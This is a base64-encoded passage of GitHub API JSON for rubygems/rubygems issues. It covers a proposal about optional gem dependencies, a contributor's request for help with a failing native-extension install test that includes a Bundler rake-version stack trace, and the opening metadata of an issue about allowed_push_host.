ZGVkIGZpcnN0IHdvdWxkIGJlIGVzc2VudGlhbGx5IHRoZSBzYW1lIChsb2FkdGltZS9ydW50aW1lIGVycm9yKS4gRXZlbnR1YWwgYWJpbGl0eSB0byBjb29yZGluYXRlIHdpdGggYnVuZGxlciB3b3VsZCBiZSB0aGUgdWx0aW1hdGUgZW5kIGdvYWwuIFxyXG5cclxuSSBzZWUgdGhpcyBhcyBiZW5lZmljaWFsIGZvciBhIHdpZGUgcmFuZ2Ugb2YgZ2VtczpcclxuXHJcbi0gbXVsdGlfanNvbjogc3VwcG9ydHMgbWFueSBqc29uIGJhY2tlbmRzIGJ1dCBkb2VzIG5vdCBkZXBlbmQgb24gQUxMIG9mIHRoZW0gYmVpbmcgbG9hZGVkIHRvIHdvcmssIGp1c3Qgb25lLlxyXG4tIGFjdGl2ZV9yZWNvcmQ6IHN1cHBvcnRzIG1hbnkgZGF0YWJhc2UgYmFja2VuZHMgYnV0IGRvZXMgbm90IGRlcGVuZCBvbiBBTEwgb2YgdGhlbSBiZWluZyBsb2FkZWQgdG8gd29yaywganVzdCBvbmUuXHJcbi0gU3Byb2NrZXRzIGFzIG1lbnRpb25lZFxyXG4tIFRoZSBzZW50cnkgY2xpZW50IGByYXZlbmAgbWFpbnRhaW5lciBtZW50aW9uZWQgdGhleSBoYXZlIG9wdGlvbmFsIGdlbXMuXHJcbi0gZXRjLlxyXG5cclxuVGhpcyBpcyBhIHByZXR0eSBzaWduaWZpY2FudCBmZWF0dXJlIHByb3Bvc2FsL3JlcXVlc3QuIEknbSBjdXJpb3VzIHdoYXQgeW91IHRoaW5rIG9mIHRoZSBvdmVyYWxsIGlkZWEgYXMgd2VsbCBhcyBhbnkgY3VycmVudGx5IGF2YWlsYWJsZSBhbHRlcm5hdGl2ZXMgdGhhdCBkb24ndCByZXF1aXJlIGEgZmVhdHVyZSBpbiBydWJ5Z2VtcyB0aGF0IEkndmUgbm90IGFscmVhZHkgdG91Y2hlZCBvbi5cclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTgwNyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODA3L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODA3L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4MDcvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4MDciLCJpZCI6MTk3OTU5Njc2LCJudW1iZXIiOjE4MDcsInRpdGxlIjoiSGVscCEgTW9kZWxpbmcgZXh0ZW5zaW9uIHRlc3RpbmcgYWZ0ZXIgR2VtOjpUZXN0Q2FzZSIsInVzZXIiOnsibG9naW4iOiJkYW5pZWxwY2xhcmsiLCJpZCI6MzE5MDgxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMTkwODE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2RhbmllbHBjbGFyayIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2RhbmllbHBjbGFyayIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2RhbmllbHBjbGFyay9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kYW5pZWxwY2xhcmsvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGFuaWVscGNsYXJrL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kYW5pZWxwY2xhcmsvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kYW5pZWxwY2xhcmsvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kYW5pZWxwY2xhcmsvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGFuaWVscGNsYXJrL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGFuaWVscGNsYXJrL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kYW5pZWxwY2xhcmsvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjEsImNyZWF0ZWRfYXQiOiIyMDE2LTEyLTI5VDA2OjIzOjQxWiIsInVwZGF0ZWRfYXQiOiIyMDE3LTAzLTExVDE0OjU3OjEwWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiSSdtIGhhdmluZyBhIHByb2JsZW0gPHN0cmlrZT5vciB3b3VsZCBsaWtlIHRvIHN1Z2dlc3QgYSBmZWF0dXJlPC9zdHJpa2U+LlxyXG5cclxuTXkgY3VycmVudCBwcm9ibGVtIGlzICoqXCJhIGZhaWxpbmcgZGVwZW5kZW5jeSBidWlsZCBpbiBhIGNsZWFuIGVudmlyb25tZW50L3RlbXBvcmFyeSBkaXJlY3RvcnlcIioqXHJcblxyXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XHJcblxyXG4gIC0gWyBdIE5ldHdvcmsgcHJvYmxlbXNcclxuICAtIFsgXSBJbnN0YWxsaW5nIGEgbGlicmFyeVxyXG4gIC0gWyBdIFB1Ymxpc2hpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbIF0gVGhlIGNvbW1hbmQgbGluZSBgZ2VtYFxyXG4gIC0gW1hdIE90aGVyXHJcblxyXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudmlyb25tZW50IGRldGFpbHM6XHJcblxyXG5gYGBcclxuJCBnZW0gZW52IHZlcnNpb25cclxuMi42LjhcclxuYGBgXHJcblxyXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxyXG5cclxuLS0tXHJcblxyXG5JJ3ZlIGJlZW4gc3R1ZHlpbmcgcnVieWdlbXMgY29kZSBmb3IgbW9yZSBkYXlzIHRoYW4gSSBjYW4gcmVtZW1iZXIgYW5kIEkgcmVhbGx5IHdvdWxkIGFwcHJlY2lhdGUgc29tZSBoZWxwLiAgSSBkb24ndCBrbm93IHdoZXJlIGVsc2UgSSBjb3VsZCBnbyB0byBhc2sgLSBidXQgSSBjYW4gb25seSBob3BlIHRoYXQgc29tZSBvZiB5b3Ugd291bGQgYmUgc28ga2luZCBhcyB0byBoZWxwIG1lLlxyXG5cclxuIyMjIE15IHByb2JsZW0gSSdtIGFpbWluZyB0byBzb2x2ZTpcclxuXHJcbkkgaGF2ZSBhIFJ1c3QgZXh0ZW5zaW9uIHRoYXQgY29tcGlsZXMgb24gbW9zdCBvcGVyYXRpbmcgc3lzdGVtcyBidXQgbm90IGFsbC4gIEkgZmlyc3Qgd2FudCB0byB3cml0ZSBhIHRlc3QgdGhhdCBwcm92ZXMgYSBnZW0gaW5zdGFsbCBzdWNjZXNzZnVsbHkgYnVpbGRzIHRoZSBkeW5hbWljIGxpYnJhcnkgaW4gdGhlIGdlbXMgYGV4dGAgZm9sZGVyLiAgRnJvbSB0aGVyZSBJIGNhbiBtb3JlIGVhc2lseSBnZXQgb3RoZXIgb3BlcmF0aW5nIHN5c3RlbXMgdG8gd29yay5cclxuXHJcblRoZSBbY3VycmVudCB0ZXN0XShodHRwczovL2dpdGh1Yi5jb20vZGFuaWVscGNsYXJrL2Zhc3Rlcl9wYXRoL2Jsb2IvNTRmMmViNzAwOTVlZGIxZmRlN2Y2ZWE3YjdlMzRhNGFhOGVhNDgyMC90ZXN0L2dlbV9pbnN0YWxsX3Rlc3QucmIpIEknbSB3b3JraW5nIG9uIGlzIG1vc3RseSBmb2xsb3dpbmcgeW91ciBvd24gYEdlbTo6VGVzdENhc2VgIGNvZGUgaW4geW91ciB0ZXN0IHN1aXRlLiAgVGhlIHByb2JsZW0gSSdtIGN1cnJlbnRseSBydW5uaW5nIGludG8gaXMgaGFuZGxpbmcgcmVhbCBnZW0gZGVwZW5kZW5jaWVzIHN1Y2ggYXMgRkZJLiAgSSd2ZSBraW5kIG9mIGZpZ3VyZWQgb3V0IGhvdyB0byBnZXQgdGhlIHJlbW90ZSBkZXBlbmRlbmNpZXMgc2V0dXAgYnV0IG5vdyBJJ20gZ2V0dGluZyBhbiBleGNlcHRpb24gb24gcmFrZSB2ZXJzaW9uIG5vdCBiZWluZyBmb3VuZC5cclxuXHJcbk9uZSBvZiB0aGUgcG9zc2libGUgaWRlYXMgZm9yIHRoZSBkZXBlbmRlbmN5IEkndmUgdGhvdWdodCBvZiBidXQgaGF2ZW4ndCBkb25lIGlzIHRvIHJ1biBhIGdlbSBwcm94eSBsb2NhbGx5IHRoYXQgc2ltcGx5IHB1bGxzIGdlbXMgaW50byB0aGUgdGVtcCBkaXJlY3RvcnkgZnJvbSB0aGUgbG9jYWwgZ2VtIGxvY2F0aW9ucy4gIEkgd291bGQgbmVlZCBoZWxwIHRvIGJlIGFibGUgdG8gcG9pbnQgdGhlIHRlc3Qgc3VpdGUgdG8gaXQgdGhvdWdoLiBfT3IgbWF5YmUgcG9pbnQgYWxsIGRlcGVuZGVuY2llcyB0byB0aGUgbG9jYWwgdmVyc2lvbnMgZGlyZWN0b3J5Ll9cclxuXHJcblRoZXJlIGFyZSBcInNvIG1hbnkgdmFyaWFibGVzIGJlaW5nIG1vZGlmaWVkXCIgZm9yIHRoZSBnZW0gYW5kIGRlcGVuZGVuY2llcyB0aGF0IGl0J3MgaGFyZCBmb3IgbWUgdG8gZmlndXJlIG91dCB3aGF0IG5lZWRzIHRvIGJlIHNldHVwIG9yIGNoYW5nZWQgZm9yIG15IHBhcnRpY3VsYXIgdGVzdCBjYXNlLlxyXG5cclxuX0kgaGFkIGZpcnN0IHRyaWVkIGJ1aWxkaW5nIHRoaXMgd2l0aCBCdW5kbGVyIGJ1dCBhbGwgdGhvc2UgZW5kZXZvdXJzIGZhaWxlZCBzbyBJJ20gd3JpdGluZyBpdCBwdXJlbHkgd2l0aCBydWJ5Z2Vtcy5fICBUaGUgZXJyb3IgaGFzIG1lIGFsc28gc29tZXdoYXQgY29uZnVzZWQgYXMgaXQgaW5jbHVkZXMgYSBCdW5kbGVyIGV4Y2VwdGlvbiAtIHdoZW4gSSBkb24ndCBzZWUgdGhhdCBiZWluZyBjYWxsZWQgZnJvbSBhbnl3aGVyZSwgbm90IGV2ZW4gaW4gRkZJLlxyXG5cclxuSGVyZSdzIHRoZSBjdXJyZW50IHRlc3Qgc3VpdGUgb3V0cHV0XHJcblxyXG5gYGBcclxuU3RhcnRlZCB3aXRoIHJ1biBvcHRpb25zIC0tc2VlZCA1ODg1XHJcblxyXG5HZW1JbnN0YWxsVGVzdFxyXG5Zb3VyIGJ1bmRsZSBpcyBsb2NrZWQgdG8gcmFrZSAoMTIuMC4wKSwgYnV0IHRoYXQgdmVyc2lvbiBjb3VsZCBub3QgYmUgZm91bmQgaW4gYW55IG9mIHRoZSBzb3VyY2VzIGxpc3RlZCBpbiB5b3VyIEdlbWZpbGUuIElmIHlvdSBoYXZlbid0IGNoYW5nZWQgc291cmNlcywgdGhhdCBtZWFucyB0aGUgYXV0aG9yIG9mIHJha2UgKDEyLjAuMCkgaGFzIHJlbW92ZWQgaXQuIFlvdSdsbCBuZWVkIHRvIHVwZGF0ZSB5b3VyIGJ1bmRsZSB0byBhIGRpZmZlcmVudCB2ZXJzaW9uIG9mIHJha2UgKDEyLjAuMCkgdGhhdCBoYXNuJ3QgYmVlbiByZW1vdmVkIGluIG9yZGVyIHRvIGluc3RhbGwuXHJcblJ1biBgYnVuZGxlIGluc3RhbGxgIHRvIGluc3RhbGwgbWlzc2luZyBnZW1zLlxyXG5FUlJPUiAoMS4yM3MpIDo6IHRlc3RfZXh0cmFjdF9maWxlc1xyXG5cclxuICAgIEdlbTo6RXh0OjpCdWlsZEVycm9yOiBFUlJPUjogRmFpbGVkIHRvIGJ1aWxkIGdlbSBuYXRpdmUgZXh0ZW5zaW9uLlxyXG5cclxuXHJcbmN1cnJlbnQgZGlyZWN0b3J5OiAvdG1wL3Rlc3RfcnVieWdlbXNfMjA1MzgvZ2VtaG9tZS9nZW1zL2Zhc3Rlcl9wYXRoLTAuMS44L2V4dC9mYXN0ZXJfcGF0aFxyXG4vdXNyL3NoYXJlL3J2bS9ydWJpZXMvcnVieS0yLjQuMC9iaW4vcnVieSAtciAuL3NpdGVjb25mMjAxNjEyMjktMjA1MzgtMTVycHVvdS5yYiBleHRjb25mLnJiXHJcbi9ob21lL2RhbmllbHBjbGFyay8ucnZtL2dlbXMvcnVieS0yLjQuMC9nZW1zL2J1bmRsZXItMS4xMy43L2xpYi9idW5kbGVyL2RlZmluaXRpb24ucmI6MTc5OmluIGByZXNjdWUgaW4gc3BlY3MnOiBZb3VyIGJ1bmRsZSBpcyBsb2NrZWQgdG8gcmFrZSAoMTIuMC4wKSwgYnV0IHRoYXQgdmVyc2lvbiBjb3VsZCBub3QgYmUgZm91bmQgaW4gYW55IG9mIHRoZSBzb3VyY2VzIGxpc3RlZCBpbiB5b3VyIEdlbWZpbGUuIElmIHlvdSBoYXZlbid0IGNoYW5nZWQgc291cmNlcywgdGhhdCBtZWFucyB0aGUgYXV0aG9yIG9mIHJha2UgKDEyLjAuMCkgaGFzIHJlbW92ZWQgaXQuIFlvdSdsbCBuZWVkIHRvIHVwZGF0ZSB5b3VyIGJ1bmRsZSB0byBhIGRpZmZlcmVudCB2ZXJzaW9uIG9mIHJha2UgKDEyLjAuMCkgdGhhdCBoYXNuJ3QgYmVlbiByZW1vdmVkIGluIG9yZGVyIHRvIGluc3RhbGwuIChCdW5kbGVyOjpHZW1Ob3RGb3VuZClcclxuXHRmcm9tIC9ob21lL2RhbmllbHBjbGFyay8ucnZtL2dlbXMvcnVieS0yLjQuMC9nZW1zL2J1bmRsZXItMS4xMy43L2xpYi9idW5kbGVyL2RlZmluaXRpb24ucmI6MTczOmluIGBzcGVjcydcclxuXHRmcm9tIC9ob21lL2RhbmllbHBjbGFyay8ucnZtL2dlbXMvcnVieS0yLjQuMC9nZW1zL2J1bmRsZXItMS4xMy43L2xpYi9idW5kbGVyL2RlZmluaXRpb24ucmI6MjMzOmluIGBzcGVjc19mb3InXHJcblx0ZnJvbSAvaG9tZS9kYW5pZWxwY2xhcmsvLnJ2bS9nZW1zL3J1YnktMi40LjAvZ2Vtcy9idW5kbGVyLTEuMTMuNy9saWIvYnVuZGxlci9kZWZpbml0aW9uLnJiOjIyMjppbiBgcmVxdWVzdGVkX3NwZWNzJ1xyXG5cdGZyb20gL2hvbWUvZGFuaWVscGNsYXJrLy5ydm0vZ2Vtcy9ydWJ5LTIuNC4wL2dlbXMvYnVuZGxlci0xLjEzLjcvbGliL2J1bmRsZXIvcnVudGltZS5yYjoxMTg6aW4gYGJsb2NrIGluIGRlZmluaXRpb25fbWV0aG9kJ1xyXG5cdGZyb20gL2hvbWUvZGFuaWVscGNsYXJrLy5ydm0vZ2Vtcy9ydWJ5LTIuNC4wL2dlbXMvYnVuZGxlci0xLjEzLjcvbGliL2J1bmRsZXIvcnVudGltZS5yYjoxOTppbiBgc2V0dXAnXHJcblx0ZnJvbSAvaG9tZS9kYW5pZWxwY2xhcmsvLnJ2bS9nZW1zL3J1YnktMi40LjAvZ2Vtcy9idW5kbGVyLTEuMTMuNy9saWIvYnVuZGxlci5yYjo5OTppbiBgc2V0dXAnXHJcblx0ZnJvbSAvaG9tZS9kYW5pZWxwY2xhcmsvLnJ2bS9nZW1zL3J1YnktMi40LjAvZ2Vtcy9idW5kbGVyLTEuMTMuNy9saWIvYnVuZGxlci9zZXR1cC5yYjoyMDppbiBgPHRvcCAocmVxdWlyZWQpPidcclxuXHRmcm9tIC91c3Ivc2hhcmUvcnZtL3J1Ymllcy9ydWJ5LTIuNC4wL2xpYi9ydWJ5LzIuNC4wL3J1YnlnZW1zL2NvcmVfZXh0L2tlcm5lbF9yZXF1aXJlLnJiOjU1OmluIGByZXF1aXJlJ1xyXG5cdGZyb20gL3Vzci9zaGFyZS9ydm0vcnViaWVzL3J1YnktMi40LjAvbGliL3J1YnkvMi40LjAvcnVieWdlbXMvY29yZV9leHQva2VybmVsX3JlcXVpcmUucmI6NTU6aW4gYHJlcXVpcmUnXHJcblxyXG5leHRjb25mIGZhaWxlZCwgZXhpdCBjb2RlIDFcclxuXHJcbkdlbSBmaWxlcyB3aWxsIHJlbWFpbiBpbnN0YWxsZWQgaW4gL3RtcC90ZXN0X3J1YnlnZW1zXzIwNTM4L2dlbWhvbWUvZ2Vtcy9mYXN0ZXJfcGF0aC0wLjEuOCBmb3IgaW5zcGVjdGlvbi5cclxuUmVzdWx0cyBsb2dnZWQgdG8gL3RtcC90ZXN0X3J1YnlnZW1zXzIwNTM4L2dlbWhvbWUvZXh0ZW5zaW9ucy94ODYtZGFyd2luLTgvMi40LjAvZmFzdGVyX3BhdGgtMC4xLjgvZ2VtX21ha2Uub3V0XHJcblxyXG4vdXNyL3NoYXJlL3J2bS9ydWJpZXMvcnVieS0yLjQuMC9saWIvcnVieS8yLjQuMC9ydWJ5Z2Vtcy9leHQvYnVpbGRlci5yYjo5MjppbiBgcnVuJ1xyXG4vdXNyL3NoYXJlL3J2bS9ydWJpZXMvcnVieS0yLjQuMC9saWIvcnVieS8yLjQuMC9ydWJ5Z2Vtcy9leHQvZXh0X2NvbmZfYnVpbGRlci5yYjo0ODppbiBgYmxvY2sgaW4gYnVpbGQnXHJcbi91c3Ivc2hhcmUvcnZtL3J1Ymllcy9ydWJ5LTIuNC4wL2xpYi9ydWJ5LzIuNC4wL3RlbXBmaWxlLnJiOjI5NTppbiBgb3BlbidcclxuL3Vzci9zaGFyZS9ydm0vcnViaWVzL3J1YnktMi40LjAvbGliL3J1YnkvMi40LjAvcnVieWdlbXMvZXh0L2V4dF9jb25mX2J1aWxkZXIucmI6MzE6aW4gYGJ1aWxkJ1xyXG4vdXNyL3NoYXJlL3J2bS9ydWJpZXMvcnVieS0yLjQuMC9saWIvcnVieS8yLjQuMC9ydWJ5Z2Vtcy9leHQvYnVpbGRlci5yYjoxNjQ6aW4gYGJsb2NrICgyIGxldmVscykgaW4gYnVpbGRfZXh0ZW5zaW9uJ1xyXG4vdXNyL3NoYXJlL3J2bS9ydWJpZXMvcnVieS0yLjQuMC9saWIvcnVieS8yLjQuMC9ydWJ5Z2Vtcy9leHQvYnVpbGRlci5yYjoxNjM6aW4gYGNoZGlyJ1xyXG4vdXNyL3NoYXJlL3J2bS9ydWJpZXMvcnVieS0yLjQuMC9saWIvcnVieS8yLjQuMC9ydWJ5Z2Vtcy9leHQvYnVpbGRlci5yYjoxNjM6aW4gYGJsb2NrIGluIGJ1aWxkX2V4dGVuc2lvbidcclxuL3Vzci9zaGFyZS9ydm0vcnViaWVzL3J1YnktMi40LjAvbGliL3J1YnkvMi40LjAvbW9uaXRvci5yYjoyMTQ6aW4gYG1vbl9zeW5jaHJvbml6ZSdcclxuL3Vzci9zaGFyZS9ydm0vcnViaWVzL3J1YnktMi40LjAvbGliL3J1YnkvMi40LjAvcnVieWdlbXMvZXh0L2J1aWxkZXIucmI6MTYyOmluIGBidWlsZF9leHRlbnNpb24nXHJcbi91c3Ivc2hhcmUvcnZtL3J1Ymllcy9ydWJ5LTIuNC4wL2xpYi9ydWJ5LzIuNC4wL3J1YnlnZW1zL2V4dC9idWlsZGVyLnJiOjIwMTppbiBgYmxvY2sgaW4gYnVpbGRfZXh0ZW5zaW9ucydcclxuL3Vzci9zaGFyZS9ydm0vcnViaWVzL3J1YnktMi40LjAvbGliL3J1YnkvMi40LjAvcnVieWdlbXMvZXh0L2J1aWxkZXIucmI6MTk4OmluIGBlYWNoJ1xyXG4vdXNyL3NoYXJlL3J2bS9ydWJpZXMvcnVieS0yLjQuMC9saWIvcnVieS8yLjQuMC9ydWJ5Z2Vtcy9leHQvYnVpbGRlci5yYjoxOTg6aW4gYGJ1aWxkX2V4dGVuc2lvbnMnXHJcbi91c3Ivc2hhcmUvcnZtL3J1Ymllcy9ydWJ5LTIuNC4wL2xpYi9ydWJ5LzIuNC4wL3J1YnlnZW1zL2luc3RhbGxlci5yYjo3NTI6aW4gYGJ1aWxkX2V4dGVuc2lvbnMnXHJcbi91c3Ivc2hhcmUvcnZtL3J1Ymllcy9ydWJ5LTIuNC4wL2xpYi9ydWJ5LzIuNC4wL3J1YnlnZW1zL2luc3RhbGxlci5yYjozMDQ6aW4gYGluc3RhbGwnXHJcbi91c3Ivc2hhcmUvcnZtL3J1Ymllcy9ydWJ5LTIuNC4wL2xpYi9ydWJ5LzIuNC4wL3J1YnlnZW1zL3Jlc29sdmVyL3NwZWNpZmljYXRpb24ucmI6OTc6aW4gYGluc3RhbGwnXHJcbi91c3Ivc2hhcmUvcnZtL3J1Ymllcy9ydWJ5LTIuNC4wL2xpYi9ydWJ5LzIuNC4wL3J1YnlnZW1zL3JlcXVlc3Rfc2V0LnJiOjE2NjppbiBgYmxvY2sgaW4gaW5zdGFsbCdcclxuL3Vzci9zaGFyZS9ydm0vcnViaWVzL3J1YnktMi40LjAvbGliL3J1YnkvMi40LjAvcnVieWdlbXMvcmVxdWVzdF9zZXQucmI6MTU2OmluIGBlYWNoJ1xyXG4vdXNyL3NoYXJlL3J2bS9ydWJpZXMvcnVieS0yLjQuMC9saWIvcnVieS8yLjQuMC9ydWJ5Z2Vtcy9yZXF1ZXN0X3NldC5yYjoxNTY6aW4gYGluc3RhbGwnXHJcbi9ob21lL2RhbmllbHBjbGFyay9kZXYvZmFzdGVyX3BhdGgvdGVzdC9nZW1faW5zdGFsbF90ZXN0LnJiOjU0OmluIGB0ZXN0X2V4dHJhY3RfZmlsZXMnXHJcblxyXG5cclxuXHJcbkZpbmlzaGVkIGluIDEuMjMyOTlzXHJcbjEgdGVzdHMsIDAgYXNzZXJ0aW9ucywgMCBmYWlsdXJlcywgMSBlcnJvcnMsIDAgc2tpcHNcclxucmFrZSBhYm9ydGVkIVxyXG5Db21tYW5kIGZhaWxlZCB3aXRoIHN0YXR1cyAoMSlcclxuL2hvbWUvZGFuaWVscGNsYXJrLy5ydm0vZ2Vtcy9ydWJ5LTIuNC4wL2dlbXMvcmFrZS0xMi4wLjAvZXhlL3Jha2U6Mjc6aW4gYDx0b3AgKHJlcXVpcmVkKT4nXHJcbi9ob21lL2RhbmllbHBjbGFyay8ucnZtL2dlbXMvcnVieS0yLjQuMC9iaW4vcnVieV9leGVjdXRhYmxlX2hvb2tzOjE1OmluIGBldmFsJ1xyXG4vaG9tZS9kYW5pZWxwY2xhcmsvLnJ2bS9nZW1zL3J1YnktMi40LjAvYmluL3J1YnlfZXhlY3V0YWJsZV9ob29rczoxNTppbiBgPG1haW4+J1xyXG5UYXNrczogVE9QID0+IGdlbV9jb21waWxlX3Rlc3RcclxuYGBgXHJcbl9mYXN0ZXJfcGF0aCB1c2VzIHJha2UgMTIgd2hpbGUgZmZpIHVzZXMgcmFrZSAxMC4xX1xyXG5cclxuSSBoYXZlIHB1dCBhIGxvdCBvZiB0aW1lIGludG8gdHJ5aW5nIHRvIGZpZ3VyZSB0aGlzIG91dCBhbmQgcmVhbGx5IGRvIGFwcHJlY2lhdGUgeW91ciBoZWxwLiAgQWdhaW4gdGhlIGN1cnJlbnQgc291cmNlIGZvciB0aGlzIHRlc3QgaXMgaGVyZTogW2Zhc3Rlcl9wYXRoIC0gdGVzdC9nZW1faW5zdGFsbF90ZXN0LnJiXShodHRwczovL2dpdGh1Yi5jb20vZGFuaWVscGNsYXJrL2Zhc3Rlcl9wYXRoL2Jsb2IvNTRmMmViNzAwOTVlZGIxZmRlN2Y2ZWE3YjdlMzRhNGFhOGVhNDgyMC90ZXN0L2dlbV9pbnN0YWxsX3Rlc3QucmIpLiAgWW91IGNhbiBjbG9uZSBhbmQgdHJ5IGl0IGRpcmVjdGx5IGZyb20gdGhlIGB0ZXN0X2J1bmRsZWAgYnJhbmNoIG9mIGBkYW5pZWxwY2xhcmsvZmFzdGVyX3BhdGhgIC4gIFRoZSB0ZXN0IG9uIHRoaXMgYnJhbmNoIGNhbiBiZSBydW4gd2l0aCBgcmFrZSBnZW1fY29tcGlsZV90ZXN0YCAuXHJcblxyXG5JJ2xsIGtlZXAgdGhpcyBpc3N1ZSBmb2N1c2VkIHRvIGp1c3QgdGhpcy4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3ODciLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTc4Ny9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTc4Ny9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzg3L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzg3IiwiaWQiOjE5MTgyNTA1MywibnVtYmVyIjoxNzg3LCJ0aXRsZSI6IkRlZmF1bHRpbmcgdG8gYWxsb3dlZF9wdXNoX2hvc3QgZG9lc24ndCBxdWl0ZSB3b3JrIiwidXNlciI6eyJsb2dpbiI6InJhbmR5Y291bG1hbiIsImlkIjoxNDA2MjAzLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNDA2MjAzP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9yYW5keWNvdWxtYW4iLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9yYW5keWNvdWxtYW4iLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9yYW5keWNvdWxtYW4vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmFuZHljb3VsbWFuL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JhbmR5Y291bG1hbi9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmFuZHljb3VsbWFu